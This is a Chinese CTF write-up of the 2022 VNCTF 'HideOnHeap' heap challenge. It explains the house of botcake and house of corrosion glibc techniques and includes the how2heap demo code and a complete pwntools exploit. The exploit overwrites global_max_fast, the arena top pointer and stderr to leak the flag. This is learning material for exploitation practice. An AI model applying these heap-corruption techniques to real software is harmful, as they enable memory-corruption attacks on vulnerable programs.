2022 vnctf HideOnHeap

更多的是跟着官方的wp做一个详细的学习。

在这里插入图片描述全开

在这里插入图片描述
上来直接把flag读到了第一个chunk中

add
在这里插入图片描述
bss的数组上能写堆地址跟堆块
堆块数量大小都有所限制

edit
在这里插入图片描述
正常edit

delete
在这里插入图片描述
显然是有double free
但是把size数组清空了。

前面的edit就根据size来,size清空之后我们显然就没了什么办法。

这里就要介绍第一个工具
house of botcake

这是完整版damo

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>


int main()
{
    /*
     * This attack should bypass the restriction introduced in
     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */

    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // introduction
    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\n");

    // prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\n\n", stack_var);

    // prepare heap layout
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    puts("Allocating a chunk for later consolidation");
    intptr_t *prev = malloc(0x100);
    puts("Allocating the victim chunk.");
    intptr_t *a = malloc(0x100);
    printf("malloc(0x100): a=%p.\n", a); 
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);
    
    // cause chunk overlapping
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);
    
    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);
    
    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
    malloc(0x100);
    /*VULNERABILITY*/
    free(a);// a is already freed
    /*VULNERABILITY*/
    
    // simple tcache poisoning
    puts("Launch tcache poisoning");
    puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
    intptr_t *b = malloc(0x120);
    puts("We simply overwrite victim's fwd pointer");
    b[0x120/8-2] = (long)stack_var;
    
    // take target out
    puts("Now we can cash out the target chunk.");
    malloc(0x100);
    intptr_t *c = malloc(0x100);
    printf("The new chunk is at %p\n", c);
    
    // sanity check
    assert(c==stack_var);
    printf("Got control on target/stack!\n\n");
    
    // note
    puts("Note:");
    puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
    puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");

    return 0;
}

它的作用可以把double free转换成uaf,更便于利用。
其实看起来还不是很直观,我们直接跟着动调一遍。

用的libc是libc-2.27.so

首先上来申请了10个chunk
在这里插入图片描述

我们假设他们是chunk1-10

第一步就是把tcache填满,把chunk1-7free掉
在这里插入图片描述
在这里插入图片描述

第二步
chunk9也被我们释放,将它扔进了unsorted bin, chunk9也是我们的victim chunk。所以chunk10的作用就是防止堆块合并而已。
在这里插入图片描述
在这里插入图片描述

第三步
把chunk8也释放掉,让他与chunk9合并。
在这里插入图片描述在这里插入图片描述

第四步
malloc一下让tcache少一个
在这里插入图片描述
然后利用double free,让我们的chunk9也就是victim chunk double free一下。
在这里插入图片描述

在这里插入图片描述

第五步
申请一个大一些的chunk,在这里是0x120
它会去unsorted bin里面去申请chunk8 跟chunk9的结合体
但是chunk9又被放进了tcache
我们申请回来这个0x120的这个chunk之后就可以往tcache中投毒了。
在这里插入图片描述

下面这个是上面程序的简化版。

char *x[7];

for(int i=0; i<7; i++){
    x[i] = malloc(0x100);
}

char *a = malloc(0x100);
char *b = malloc(0x100);

malloc(0x10);

for(int i=0; i<7; i++){
    free(x[i]);
}  

free(b);
free(a);

malloc(0x100);

free(b);  

char* res = malloc(0x130);

*(uint64_t*)(res+0x110) = (uint64_t)(&victim);

malloc(0x100);

char *target = malloc(0x100);

紧接着呢
还要学习一个姿势
house of corrosion
说白了就是系统的说了一下当我们能控制global_fast_max的时候我们如何合理的去利用它。

在这里插入图片描述
上来先申请了18个chunk
其中一半大小0x88, 一半0x3f0

chunk2和chunk13进行了布置
在这里插入图片描述
然后利用前面的九个0x90大小的chunk走了一下我们上面提到的house of botcake
在这里插入图片描述
但是这次的victim chunk变成了chunk 0 , chunk 1.
也就是释放了chunk1 0 然后申请了chunk0 ,让tcache有个位置之后double free chunk1.

接着为了后面的利用,这里不直接进行利用
而是选择这里把tcache清空掉。
然后申请一个比较大的chunk,这里进行overlap。

那么现在chunk0没啥事
chunk1是被overlap的chunk
chunk2-7没事
chunk8是大一些的将chunk1overlap的chunk

然后释放了chunk11-17
也就是那7个比较大的chunk
在这里插入图片描述

紧接着还是house of botcake的手法
但是最后没有选择去overlap
而是选择了让chunk18等于chunk10

然后同个两个循环
循环的每次首先释放掉有问题的chunk,然后通过覆写的手段,使其能不停的释放
躲开libc2.28及以上的指针检测
在这里插入图片描述

再次将chunk 1 chunk10释放
他们就会进入unsorted bin
然后tcache里面就会直接有地址

在这里插入图片描述

然后将已经进入unsorted bin 的两个chunk分别瓜分掉
就是申请四个chunk再把他们申请回来

add(0x58) #1
add(0x18) #10
add(0x3D8) #19
add(0x18) #20

在这里插入图片描述

然后就直接去攻击global_max_fast跟stderr

首先把global_max_fast改大以后
利用那个覆写,直接改变chunk大小,进行free
就把chunk的值写在了相应位置
为什么要用这种手法
因为这个时候是不能再去申请很大chunk的,如果对应的地方有值,那就会报错

那么free的时候因为会检测下一个chunk,来看这个chunk是否合法。
所以我们刚开始提前edit了一下
这里就派上了用场

在这里插入图片描述

直接用house of corrosion把堆地址写在了_IO_2_1_stderr结构体里面了

然后再次攻击这个地方
在这里插入图片描述
那这个地方是干嘛的呢

我们把源码掏出来

struct malloc_state
{
  /* Serialize access.  */
  mutex_t mutex;

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

发现是topchunk的指针

然后攻击stderr
再把global_max_fast改回来

改global_max_fast的作用是方便一会报错。

在这里插入图片描述
攻击stderr的效果就是heap的base是write的base
导致报错的时候输出从heap的base开始

最后就能把我们的flag输出来。

在这里插入图片描述
当然我们的做法还可以进一步优化一下
因为最后攻击strerr的时候还面临着1/16的爆破
我们可以通过对堆块适当的调整来解决这个问题。

exp是对官方的exp做了小小的调整

# encoding: utf-8
from pwn import *

context.log_level = "debug"

sh = process("./HideOnHeap")

def choice(idx):
    sh.sendlineafter("Choice:", str(idx))

def add(size):
    choice(1)
    sh.sendlineafter("Size:", str(size))

def edit(idx, content):
    choice(2)
    sh.sendlineafter("Index:", str(idx))
    sh.sendafter("Content:", str(content))

def delete(idx):
    choice(3)
    sh.sendlineafter("Index:", str(idx))

add(0x88) # prev 0
add(0x88) # 1

for i in range(7):
    add(0x88) #2 - 8

add(0x3F0) # 9
add(0x3F0) # 10

for i in range(7):
    add(0x3F0) #11 - 17

edit(2, '6' * 0x20 + '\x00' * 8 + p64(0x21))
edit(13, '5' * 0x30 + '\x00' * 8 + p64(0x21) + '\x00' * 0x8 + p64(0x21) + '\x00' *0x8 + p64(0x21))

for i in range(2, 9):
    delete(i)


delete(1)
delete(0)
add(0x88) #0
delete(1)

for i in range(7):
    add(0x88) #1 - 7

add(0x118) #8 overlapping 1

for i in range(11, 18):
    delete(i)


delete(10)
delete(9)
add(0x3F0) #9
delete(10)

for i in range(7):
    add(0x3F0) #10-16

add(0x3F0) #17
add(0x3F0) #18 == 10

for i in range(7):
    delete(1)
    edit(8, '\x00' * 0x88 + p64(0x91) + '\x00' * 0x10)

for i in range(7):
    delete(10)
    edit(18, '\x00' * 0x10)

delete(1)
delete(10)

add(0x58) #1
add(0x18) #10
add(0x3D8) #19
add(0x18) #20

edit(8, '\x00' * 0x88 + p64(0x91) + '\x40\xa9')
edit(18, '\x80\x96')

gdb.attach(sh, "p/x &global_max_fast\np/x &_IO_2_1_stderr_\n")

add(0x88) # 21  = 1
add(0x88) # 22 global_max_fast

add(0x3F0) # 23  = 10
add(0x3F0) # 24 stderr

edit(22, '\xFF' * 8) # change global_max_fast

edit(8, '\x00' * 0x88 + p64(0x14C1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14D1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14E1))
delete(21)
#change main_arena->top

for i in range(8):
    edit(8, '\x00' * 0x88 + p64(0xC1) + '\x00' * 0x10)
    delete(21)

edit(24, p64(0xfbad1800) + '\x00' * 0x19 + '\xf0')
edit(22, p64(0x80))
#gdb.attach(sh)

add(0x300)

sh.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值